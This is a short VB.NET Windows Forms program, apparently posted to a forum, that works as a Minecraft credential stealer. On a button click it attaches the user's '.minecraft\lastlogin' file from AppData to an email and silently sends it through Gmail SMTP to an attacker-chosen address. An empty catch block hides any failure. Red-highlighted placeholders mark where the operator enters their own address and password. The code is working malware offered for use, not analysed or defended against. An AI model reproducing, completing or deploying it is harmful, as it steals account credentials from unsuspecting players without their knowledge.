Imports System.Net.Mail

Public Class Form1

    Dim smtp As New SmtpClient

    Dim mail As New MailMessage





    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click



        Dim MyMailMessage As New MailMessage()

        Try

            Dim Attch As Net.Mail.Attachment = New Net.Mail.Attachment(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\.minecraft\lastlogin")

            MyMailMessage.Attachments.Add(Attch)

            MyMailMessage.From = New MailAddress([COLOR="#FF0000"]"[email protected]"[/COLOR])

            MyMailMessage.To.Add([COLOR="#FF0000"]"[email protected]"[/COLOR])

            MyMailMessage.Subject = ("LastLoginFile")

            MyMailMessage.Body = (" ")

            Dim SMTP As New SmtpClient("smtp.gmail.com")

            SMTP.Port = 587

            SMTP.EnableSsl = True

            SMTP.Credentials = New System.Net.NetworkCredential([COLOR="#FF0000"]"[email protected]"[/COLOR], [COLOR="#FF0000"]"Password"[/COLOR])

            SMTP.Send(MyMailMessage)

        Catch ex As Exception

        End Try

    End Sub



End Class